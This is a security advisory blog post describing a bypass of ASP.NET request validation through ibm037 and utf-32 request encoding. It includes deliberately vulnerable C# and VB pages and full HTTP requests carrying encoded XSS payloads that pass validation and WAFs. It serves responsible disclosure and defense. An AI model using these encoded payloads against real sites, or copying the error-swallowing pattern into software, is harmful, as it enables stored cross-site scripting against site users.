by Soroush Dalili (@irsdl)

Rare ASP.NET request validation bypass using request encoding

It is possible to bypass the ASP.NET request validation capability [1] when errors are ignored using request encoding techniques described in [2]. This can be abused to perform stored cross-site scripting (XSS) attacks.

This issue was reported to the Microsoft Security Response Centre (MSRC) team on 1 September 2017. Their response was as follows:

```
We have reproduced the issue and determined it does not meet the bar for a
security patch.

Request validation is "defense-in-depth" and we have said this for a while now.
See below link in the "remarks" section
https://msdn.microsoft.com/en-
us/library/system.web.httprequestvalidationexception(v=vs.110).aspx

As such, we are closing this as "won't fix"

We appreciate your attempt to responsibly disclose a potential security issue and
we hope you continue to do so.
```

Four days later, we received written permission from the MSRC team to share this publicly with this note:

```
It is strongly recommended that your application explicitly check all inputs it
uses in addition to the request validation performed by ASP.NET. The request
validation feature cannot catch all attacks, especially those crafted specifically
against your application logic.
```

Description

The following vulnerable code in C# and VB.NET simulate this bypass scenario:

C# code

```
<%@Page Language="C#"%>
<%
try
{
      // First use
      string foo0 = Request.QueryString["bar0"];
      string foo1 = Request.Form["bar1"];
}
catch(Exception ex)
{
      // No throws
}

// Second use
Response.Write(Request.QueryString["input0"]);
Response.Write(Request.Form["input1"]);
%>
```

VB code

```
<%@Page Language="VB"%>
<%
On Error Resume Next

' First use
Dim foo0:foo0 = Request.QueryString("bar0")
Dim foo1:foo1 = Request.Form("bar1")
```

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/

```
' Second use
Response.Write(Request.QueryString("input0"))
Response.Write(Request.Form("input1"))
%>
```

The *On Error Resume Next* code in VB and an empty catch were necessary for the bypass to work. The error messages are thrown away on the first use of the *Request.QueryString* or *Request.Form* objects. The next time the application uses these objects, the malicious payload will pass through.

This approach is quite common amongst unexperienced developers, and should be picked up during code quality reviews.

It was possible to pass an XSS payload such as *<script>alert(1)</script>* using character encoding techniques described in [2].

The result of encoding our input parameters using *ibm037* was:

```
==for input0=<script>alert(0)</script>==
%89%95%97%A4%A3%F0=L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F0%5DLa%A2%83%99%89%97%A3n

==for input1=<script>alert(1)</script>==
%89%95%97%A4%A3%F1=L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F1%5DLa%A2%83%99%89%97%A3n
```

Sending payload in the URL using POST

In order to bypass request validation using a parameter in the URL, the following request was sent to the server. Note that the HTTP verb was set to POST rather than GET; the body of the request was not important and did not contain a payload in this case (the GET verb was blocked):

```
==request==
POST
/sample.aspx?%89%95%97%A4%A3%F0=L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F0%5DLa%A2%83
%99%89%97%A3n HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 22

%89%95%97%A4%A3%F1=ooo

==response==
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 22 Aug 2017 19:33:35 GMT
Content-Length: 28

<script>alert(0)</script>???
```

Sending payload in the POST body using GET

In order to bypass request validation using a POST parameter, the following request was sent to the server. Note that the HTTP verb was set to GET but was accepted as a POST request on the server-side (the POST verb was blocked):

```
==request==
GET /sample3.aspx?%89%95%97%A4%A3%F0=ooo HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 82

%89%95%97%A4%A3%F1=L%A2%83%99%89%97%A3n%81%93%85%99%A3M%F1%5DLa%A2%83%99%89%97%A3n
```

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/

```
==response==
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 22 Aug 2017 19:36:01 GMT
Content-Length: 28

???<script>alert(1)</script>
```

As shown above, our XSS payloads could reach the web application.

The *ibm037* was chosen as it was supported by the Python code in [2] and could lead to bypasses of WAFs that might sit between client and server. The following requests show examples of using *utf-32* to prove the point (these are often blocked by WAFs because of null characters):

```
POST
/sample.aspx?i%00%00%00n%00%00%00p%00%00%00u%00%00%00t%00%00%000%00%00%00=%3C%00%0
0%00s%00%00%00c%00%00%00r%00%00%00i%00%00%00p%00%00%00t%00%00%00%3E%00%00%00a%00%0
0%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00%28%00%00%000%00%00%00%29%00%00%00%3C%
00%00%00%2F%00%00%00s%00%00%00c%00%00%00r%00%00%00i%00%00%00p%00%00%00t%00%00%00%3
E%00%00%00 HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded; charset=utf-32
Content-Length: 1

x
```

OR

```
GET /sample.aspx HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded; charset=utf-32
Content-Length: 325

i%00%00%00n%00%00%00p%00%00%00u%00%00%00t%00%00%001%00%00%00=%3C%00%00%00s%00%00%0
0c%00%00%00r%00%00%00i%00%00%00p%00%00%00t%00%00%00%3E%00%00%00a%00%00%00l%00%00%0
0e%00%00%00r%00%00%00t%00%00%00%28%00%00%001%00%00%00%29%00%00%00%3C%00%00%00%2F%0
0%00%00s%00%00%00c%00%00%00r%00%00%00i%00%00%00p%00%00%00t%00%00%00%3E%00%00%00
```

Conclusion

As recommended by Microsoft [3], do not rely on ASP.NET request validation capability to block XSS attacks as they might be bypassed in certain situations.

References

[1] https://msdn.microsoft.com/en-us/library/hh882339(v=vs.110).aspx

[2] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/

[3] https://msdn.microsoft.com/en-us/library/system.web.httprequestvalidationexception(v=vs.110).aspx